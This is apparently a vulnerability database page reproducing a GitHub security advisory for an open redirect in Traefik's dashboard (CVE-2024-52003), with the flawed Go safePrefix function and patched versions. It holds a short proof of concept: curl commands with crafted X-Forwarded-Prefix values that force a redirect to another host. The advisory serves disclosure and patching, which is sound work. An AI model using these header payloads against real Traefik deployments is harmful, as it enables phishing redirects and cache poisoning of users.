GHSA-H924-8G65-J9WG

Vulnerability from github – Published: 2024-12-02 17:12 – Updated: 2025-11-27 08:05
VLAI?
Summary
Traefik's X-Forwarded-Prefix Header still allows for Open Redirect
Details

Impact

There is a vulnerability in Traefik that allows the client to provide the X-Forwarded-Prefix header from an untrusted source.

Patches

  • https://github.com/traefik/traefik/releases/tag/v2.11.14
  • https://github.com/traefik/traefik/releases/tag/v3.2.1

Workarounds

No workaround.

For more information

If you have any questions or comments about this advisory, please open an issue.

Original Description ### Summary The previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL. ### Details The Traefik API [dashboard component](https://github.com/traefik/traefik/blob/master/pkg/api/dashboard/dashboard.go) tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:
http.Redirect(resp, req, safePrefix(req)+"/dashboard/", http.StatusFound)
func safePrefix(req *http.Request) string {
    prefix := req.Header.Get("X-Forwarded-Prefix")
    if prefix == "" {
        return ""
    }

    parse, err := url.Parse(prefix)
    if err != nil {
        return ""
    }

    return parse.Path
}
### PoC An attacker can bypass this by sending the following payload:
curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %0d//a.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/
or similar:
curl -v 'http://traefik.localhost' -H 'X-Forwarded-Prefix: %2f%2fa.com'
[...]
> HTTP/1.1 302 Found
> Location: //a.com/dashboard/
### Impact Similar to the previously reported bug. In cache poisoning scenarios this may be exploitable.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.11.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/traefik/traefik/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.2.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-52003"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-12-02T17:12:38Z",
    "nvd_published_at": "2024-11-29T19:15:08Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThere is a vulnerability in Traefik that allows the client to provide the `X-Forwarded-Prefix` header from an untrusted source.\n\n### Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.14\n- https://github.com/traefik/traefik/releases/tag/v3.2.1\n\n### Workarounds\n\nNo workaround.\n\n### For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n### Summary\nThe previously reported open redirect ([GHSA-6qq8-5wq3-86rp](https://github.com/traefik/traefik/security/advisories/GHSA-6qq8-5wq3-86rp)) is not fixed correctly. The safePrefix function can be tricked to return an absolute URL.\n\n\n\n### Details\nThe Traefik API [dashboard component](https://github.com/traefik/traefik/blob/master/pkg/api/dashboard/dashboard.go) tries to validate that the value of the header X-Forwarded-Prefix is a site relative path:\n```go\nhttp.Redirect(resp, req, safePrefix(req)+\"/dashboard/\", http.StatusFound)\n```\n\n```go\nfunc safePrefix(req *http.Request) string {\n\tprefix := req.Header.Get(\"X-Forwarded-Prefix\")\n\tif prefix == \"\" {\n\t\treturn \"\"\n\t}\n\n\tparse, err := url.Parse(prefix)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\treturn parse.Path\n}\n```\n\n### PoC\nAn attacker can bypass this by sending the following payload:\n\n```bash\ncurl -v \u0027http://traefik.localhost\u0027 -H \u0027X-Forwarded-Prefix: %0d//a.com\u0027\n[...]\n\u003e HTTP/1.1 302 Found\n\u003e Location: //a.com/dashboard/\n```\n\nor similar:\n\n```bash\ncurl -v \u0027http://traefik.localhost\u0027 -H \u0027X-Forwarded-Prefix: %2f%2fa.com\u0027\n[...]\n\u003e HTTP/1.1 302 Found\n\u003e Location: //a.com/dashboard/\n```\n\n### Impact\nSimilar to the previously reported bug. In cache poisoning scenarios this may be exploitable.\n\u003c/details\u003e",
  "id": "GHSA-h924-8g65-j9wg",
  "modified": "2025-11-27T08:05:26Z",
  "published": "2024-12-02T17:12:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/security/advisories/GHSA-h924-8g65-j9wg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52003"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/pull/11253"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/traefik/traefik"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v2.11.14"
    },
    {
      "type": "WEB",
      "url": "https://github.com/traefik/traefik/releases/tag/v3.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Traefik\u0027s X-Forwarded-Prefix Header still allows for Open Redirect"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…